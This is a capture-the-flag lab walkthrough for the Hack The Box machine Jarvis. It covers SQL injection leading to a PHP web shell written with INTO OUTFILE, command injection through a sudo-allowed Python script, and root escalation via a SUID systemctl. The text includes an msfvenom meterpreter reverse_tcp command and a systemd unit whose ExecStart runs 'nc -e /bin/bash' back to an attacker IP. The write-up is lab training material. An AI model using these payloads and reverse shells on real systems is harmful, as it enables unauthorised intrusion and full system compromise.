HTB Reports: Jarvis

Jarvis

High-Level Summary

Walkthrough

A complete TCP scan with nmap reveals three ports open:

# nmap -sV -p- --open 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 08:01 EST
Nmap scan report for 10.10.10.143
Host is up (0.035s latency).
Not shown: 65520 closed ports, 12 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.91 seconds

On port 64999 doesn’t seem to be anything interesting, a message is informaning us that we have banned for 90 seconds:

banned 90 seconds

But it doesn’t seem to have any real effect.

On port 80 instead we have a website with some hotel rooms:

hotels homepage

After navigating a bit through the site, we find the page /room.php which accepts the parameter cod:

cod parameter

This parameter is vulnerable to SQL Injection. We can easily break the search by appending a ':

jarvis broken search

As well as building valid queries that will make the application work flawlessly:

jarvis right search

We can now use the ORDER BY clause to check how many results this query has, in fact the query will break as soon as we ORDER BY a value higher than the number of columns in the query result.

We can try sequentially for all numbers, it’s unlikely that the query has so many columns to make bruteforcing impossible. For all numbers from 1 to 7, we get normal, correct results. For example, when we try ORDER BY 7 we get the following:

order by 7

But when we try ORDER BY 8 the result changes:

order by 8

We know that the SELECT has 7 columns. We can now trick the application into showing the results that we want.

In order to do so, we can trick the initial query into giving zero results, by adding and AND 1=2. After that, we can join a custom SELECT which also must have 7 results to the initial query so that our record will be the only one available for the application to process.

custom results

Now we also know where our input is reflected in the page, not necessarily all results from the query are shown. We can use this to retrieve information from the database, for example:

retrieve information sql injection

There is a lot we can already do with this, we can basically extract values from the database. There’s a lot of fun to have testing this SQL injection, but we don’t have time and our next goal is to get a shell out of it.

The next thing we want to do, is to add some php code to our SELECT:

select with php

Seems that nothing has happened, but actually if we look at the source code of the page, we can see that our php code has been injected unmodified:

php reflected

We can now use the INTO OUTFILE function of mysql, to save our query result to disk.

into outfile

And we try to navigate to our malicious file location, we find our file and we can verify that we have command execution:

command execution

We can use this command execution to quickly obtain a shell:

www-data shell

The first thing we want to do, is to upgrade to a full interactive shell. We can do it with the commands listed here:

# On target
python -c "import pty; pty.spawn('/bin/bash')"
Ctrl-Z

# On Kali
stty raw -echo
fg

# On target
reset
export SHELL=bash
export TERM=xterm-256color	# Find on Kali with 'echo $TERM'
stty rows 24 columns 80		# Find on Kali with 'stty -a'

Now we have a comfortable environment to enumerate the system.

After a quick enumeration, turns out that user www-data can use sudo without password for a specific script:

sudo l www-data

If we try to run the script, we see its help message:

simpler.py

First thing I did, was to try to ping an attacker. And interestingly enough the execution was not as expected:

ping ctrl c

I had to terminate the script with CTRL-C, which is the behavior of ping if the ip address was simply passed to it. I immediately tried to pass some arguments to ping:

ping pass arguments

Let’s have a look at the source code. Finding the ping function wasn’t very complicated:

ping source code

Now that we now what characters we can’t use, we have to find a way to inject our command using only allowed characters. Luckily for us, “pepper” seems to have forgottone that we can execute commands with $(command).

Instead of looking for a way to get a reverse shell without using any of the forbidden characters into my command, I decided to upload a meterpreter payload into the machine. I generated the payload as follows:

# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.11 LPORT=4567 -f elf -o meter

I started a web server and downloaded the file into the /tmp folder of my victim machine.

I then ran the file via simpler.py:

simpler call meter

And get my meterpreter session:

pepper meterpreter

After normal enumeration, we see some weird permission on the /bin/systemctl file:

jarvis suid files

This is an extremely easy win. We can create a malicious service file and then start the service with root permissions.

This will be our malicious service file:

[Unit]
Description=ComfyReverseShell
ConditionFileIsExecutable=/home/pepper/reverse.service

[Service]
Type=forking
ExecStart=/bin/nc -nv 10.10.14.11 9090 -e /bin/bash
TimeoutSec=0

We can upload the file using our meterpreter session. Then we can drop to a shell, make our file executable, install the service and start it:

systemctl pwn

And we’ll get a shell in our netcat listener:

jarvis root shell